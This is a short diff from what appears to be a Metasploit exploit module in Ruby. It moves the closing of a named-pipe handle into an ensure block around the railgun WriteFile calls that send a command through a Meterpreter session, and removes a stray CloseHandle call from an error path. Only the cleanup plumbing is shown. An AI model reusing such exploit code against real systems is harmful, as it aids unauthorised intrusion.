@@ -93,22 +93,26 @@ def write_named_pipe(pipe, command)
93
93
vprint_good ( "Opended #{ pipe } ! Proceeding..." )
94
94
end
95
95
96
- # First, write the string length as Int32 value
97
- w = client . railgun . kernel32 . WriteFile ( handle , [ command . length ] . pack ( 'l' ) , 4 , 4 , nil )
96
+ begin
98
97
99
- if w [ 'return' ] == false
100
- print_error ( 'The was an error writing to pipe, check permissions' )
101
- return false
102
- end
98
+ # First, write the string length as Int32 value
99
+ w = client . railgun . kernel32 . WriteFile ( handle , [ command . length ] . pack ( 'l' ) , 4 , 4 , nil )
103
100
104
- # Then we send the real command
105
- w = client . railgun . kernel32 . WriteFile ( handle , command , command . length , 4 , nil )
101
+ if w [ 'return' ] == false
102
+ print_error ( 'The was an error writing to pipe, check permissions' )
103
+ return false
104
+ end
106
105
107
- if w [ 'return' ] == false
108
- print_error ( 'The was an error writing to pipe, check permissions' )
109
- return false
110
- end
106
+ # Then we send the real command
107
+ w = client . railgun . kernel32 . WriteFile ( handle , command , command . length , 4 , nil )
111
108
109
+ if w [ 'return' ] == false
110
+ print_error ( 'The was an error writing to pipe, check permissions' )
111
+ return false
112
+ end
113
+ ensure
114
+ session . railgun . kernel32 . CloseHandle ( handle )
115
+ end
112
116
true
113
117
end
114
118
@@ -156,7 +160,6 @@ def exploit
156
160
begin
157
161
cd ( temp_dir )
158
162
rescue Rex ::Post ::Meterpreter ::RequestError
159
- session . railgun . kernel32 . CloseHandle ( handle )
160
163
fail_with ( Failure ::BadConfig , "Failed to use the #{ temp_dir } directory" )
161
164
end
162
165
0 commit comments